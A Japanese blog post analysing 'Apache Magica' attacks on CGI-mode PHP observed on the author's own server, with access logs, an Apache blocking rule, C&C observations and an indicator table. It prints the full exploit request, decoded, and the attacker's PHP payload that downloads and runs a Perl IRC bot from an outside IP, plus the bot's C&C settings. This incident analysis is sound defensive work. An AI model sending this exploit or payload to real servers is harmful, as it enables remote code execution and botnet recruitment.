CGI版PHPへのApache Magica攻撃の観察
先日、徳丸先生のブログ「CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました」で挙げられていたアタックが、個人で借りてるさくらのVPSに来ていたのでちょっとまとめます。
Apache Magicaとは何か
詳しいことは徳丸先生のブログに書かれているので、そちらを参考いただくとして。
この脆弱性は、CGI版PHPのCVE-2012-1823およびCVE-2012-2311に起因するものです。これはCGI版のPHPにおいて、GET引数のパラメタがそのままPHPの実行時パラメタとして渡ってしまうというものでした。これにより、GET引数でちょちょいとパラメタを投げることで、php://input を有効にして外部からPHPスクリプトを「食わせる」ことができるようになります。
あるいは2012年に大騒ぎになった、「GET引数に?-sを付けるとソースコード丸見え」という件を覚えている方も多いのではないでしょうか。あの件はその後もしつこく研究が続けられており、今回の脆弱性が見つかった次第です。POSTリクエストのボディ部のPHPスクリプトが、サーバサイドでそのまま実行されてしまうというとってもゴキゲンな脆弱性です。
Apache Magicaは何が新しいのか
今までCVE-2012-1823を狙った攻撃では、index.phpなどの「サーバに設置されたPHPスクリプト」が攻撃の対象となっていました。つまり、たとえ脆弱性のあるCGI版PHPをサーバにインストールしていたとしても、index.phpなどのPHPスクリプトファイルをサーバの公開領域に置いていなければ、実質的に問題ない状態となっていました。
しかし今回、cgi.force_redirectとcgi.redirect_status_envというPHPパラメタを利用することで、/cgi-bin/php(環境によって/cgi-bin/php-cgiなど名前は変わるでしょうが)というPHP実行パスそのものから攻撃できることが判明しました。これにより、たとえPHPスクリプトのファイルを一つも置いていないサーバも攻撃対象となるようになりました。
また攻撃者にとっても、「そのサーバのどこかにあるPHPスクリプト」を探すよりも、「/cgi-bin/phpをとりあえず叩いてみる」だけで攻撃できるかが分かるため、とても狙われやすくなってしまいました。
/cgi-bin/phpへのPOSTリクエストとアクセスログ
今のところ、まだ3回しか来ていません。1発目は以下でした。
173.254.235.114 - - [01/Nov/2013:10:57:11 +0900] "GET /cgi-bin/php HTTP/1.1" 404 288 "-" "-"
ここではまず脆弱性スキャンをしていたようです。この時点では404を返してしまったので、それ以上の攻撃をしてきませんでした(残念)。慌てて、Apacheのhttpd.confに以下のように/cgi-bin/phpに裸のアクセスがあれば500エラーを返すようにしておきました。例のごとくサーバにはPHPはインストールすらしていません。
<LocationMatch "^/cgi-bin/php"> RewriteEngine on RewriteRule .* - [R=500,L] </LocationMatch>
すると11/2に2回目のスキャンが来ました。が、今回はスキャン抜きでいきなりPOSTされたので、わざわざ用意することも無かったですね。
2回めのアクセスログは以下です。
198.199.125.199 - - [02/Nov/2013:20:33:47 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 602 "-" "-"
3回め。これも同様。
210.166.220.125 - - [06/Nov/2013:09:25:18 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 602 "-" "-"
おお。何やらURLエンコードされた長大なURLでPOSTされました。前もこれ、よく見たな。これをURLデコードして適宜改行を入れるとこうなります。
POST //cgi-bin/php? -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
Apache Magica攻撃で特徴的な、cgi.force_redirect=0 と cgi.redirect_status_env=0 が見られます。
このPOSTリクエストは、本来ならURLエンコードする必要のない部分(/cgi-bin/phpなど)もまとめてURLエンコードされていました。この形式は、以前にもParallels Plesk Panel脆弱性を狙った /phppath/php アタックでよく見られました。同じ人たちがやっているのかもしれません。なお先頭にスラッシュが2個続いている理由は謎です。まぁたぶん、攻撃してる人のケアレスミスでしょう。
POSTされたリクエストボディを探る
以下が、2回目のPOSTリクエスト全体です。ここにはそのまま実行できるPHPスクリプトが書かれています。脆弱性のあるCGI版PHPを利用していると、サーバ側でこのPHPスクリプトが実行されます。
POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1 Host: -h Content-Type: application/x-www-form-urlencoded Content-Length: 72 <? system("cd /tmp;wget 207.56.205.215/.../wow;perl wow;rm -rf wow"); ?>
POSTリクエストのボディ部は、以下のような簡単なPHPスクリプトでした。見やすくするために改行を入れました。
<? system(" cd /tmp; wget 207.56.205.215/.../wow; perl wow; rm -rf wow "); ?>
wowという名前のPerlスクリプトを取ってきて実行したいみたいです。ちなみに小ネタですが、wgetコマンドは http:// を付けなくてもこのように省略して書くことができます。今はじめて知りました。
ではさっそく、このwowスクリプトを取ってきてみると……取れました。モノ自体は以下に置いてありますので興味あるかたはどうぞ。
PerlBotとC&Cサーバとボットネット
取ってきたwowというのは、以前にParallels Plesk Panelの件でも仕込まれていたPerlbotでした。以前の日記も参考にしていただけるとよろしいかと(Parallels Plesk Panelの脆弱性と、/phppath/phpでどういう悪さがされるのか - ろば電子が詰まっている)。C&Cサーバに接続して自らをBot化して、指示があるとDoS攻撃などをおこなうゾンビとなります。
wowスクリプト中では、以下のようにC&Cサーバが定義されていました。
my @adms=("X"); my @canais=("#jp"); my $nick='nw'; my $ircname ='nw'; chop (my $realname = `uname -rs`); $servidor='fbi.bot.nu' unless $servidor; my $porta='5190';
使われている言語が英語ではないのでちょっと分かりにくいですが、IRCサーバは fbi.bot.nu 、ポートは5190、チャンネルは #jp です。このチャンネルですが、wowファイルを11/2にダウンロードしたときは#jpでしたが、11/3にダウンロードしたら#sipに変わっていました。日によってチャンネルを変えているようです。
追記:11/5にダウンロードしたら、また変わっていました。今度はIRCサーバがflwd.bot.nuでした。チャンネルは#sipのままでした。
$realnameは、uname -rsの結果を入れるようです。nickはnwとなっていますが、実はこの後にランダムな数値をくっつける仕組みになっています。IRCクライアントにはCUIのirssiコマンドを使っているので、以下のような設定をしました。
settings = { core = { real_name = "Linux 2.6.32-358.6.2.el6.x86_64"; user_name = "nw-XXXXX"; nick = "nw-XXXXX"; };
そしてirssiコマンドで該当サーバに接続します。
$ irssi -c fbi.bot.nu -p 5190 ----------------------------------------------------------------------- 22:31 -!- Irssi: Looking up fbi.bot.nu 22:31 -!- Irssi: Connecting to fbi.bot.nu [94.23.62.51] port 5190 22:31 -!- Irssi: Connection to fbi.bot.nu established 22:31 !fbi.bot.nu *** Looking up your hostname 22:31 !fbi.bot.nu *** Found your hostname, cached 22:31 !fbi.bot.nu *** Checking Ident 22:31 !fbi.bot.nu *** No ident response 22:32 -!- Welcome to the Internet Relay Network nw-73131 22:32 -!- Your host is X.Y2, running version beware1.5.7 22:32 -!- This server was created Tue Jul 13 2004 at 20:36:17 GMT 22:32 -!- X.Y2 beware1.5.7 dgikoswx biklmnoprstv 22:32 -!- MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 are supported by this server 22:32 -!- NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 are supported by this server 22:32 -!- There are 313 users and 16 invisible on 1 servers 22:32 -!- 9 unknown connection(s) 22:32 -!- 1 operator(s) online 22:32 -!- 5 channels formed 22:32 -!- I have 329 clients and 0 servers 22:32 !X.Y2 Highest connection count: 336 (336 clients) 22:32 -!- MOTD File is missing 22:32 !X.Y2 on 1 ca 1(4) ft 10(10) tr 22:32 -!- Mode change [+x] for user nw-73131 22:32 -!- Mode change [+i] for user nw-73131 ----------------------------------------------------------------------------
無事稼働しているようです。では指示された通りに#jpに/joinしてみましょうや。
むむむ。それっぽいボット化した人たちがいるな。先ほどのPerlbotで設定されていたように、Xというnickが親分です。彼(彼女?)がDoS攻撃の指示を出したりするのでしょう。
C&Cサーバをしばらく観察していると、運が良ければ面白い光景が見られます。さすがに直接のその状態を見せるのはアレなので、ざっくり色々ぼかして説明します。
- C&Cサーバのつなぎ替え
- チャンネルの切り替え
- さきほど、Perlbotに書かれているチャンネルが#jpから#sipに変わっていたと書きましたが、命令チャンネルも頻繁に変わるようです。最新のチャンネルを追えばボット化した人たちが1000人近くいるようなところに巡り当たります。
- 悪い人たちの会話
- どうもadminの人たちは手でコマンドを出すことも多いようで、複数のadminの人たちが何か会話していたことがありました。どうやらルーマニア語のようですが、全く知らない言語なのと会話が断片的すぎて内容はよく分からず。(参考:ルーマニアのハッカーたちがphpMyAdminの脆弱性スキャンを実行)
- 攻撃、情報指示
これ以上C&Cサーバに深入りするのは怖いのでやめておきましょう。
登場人物
まとめました
役割 | IPアドレス or ホスト名 | AS | 国名 |
---|---|---|---|
1回めスキャン | 173.254.235.114 | AS29761 OC3 Networks & Web Solutions, LLC | アメリカ |
2回めスキャン(攻撃) | 198.199.125.199 | AS46652 ServerStack, Inc. | アメリカ |
3回めスキャン(攻撃) | 210.166.220.125 | AS7678 Prox System Design Inc. | 日本 |
Perlbot配布 | 207.56.205.215 | AS2914 NTT America, Inc. | アメリカ |
C&Cサーバ | fbi.bot.nu (94.23.62.51) | AS16276 OVH Systems | フランス |
C&Cサーバ(11/5から) | flwd.bot.nu (42.121.128.166) | AS37963 Hangzhou Alibaba Advertising Co.,Ltd. | 中国 |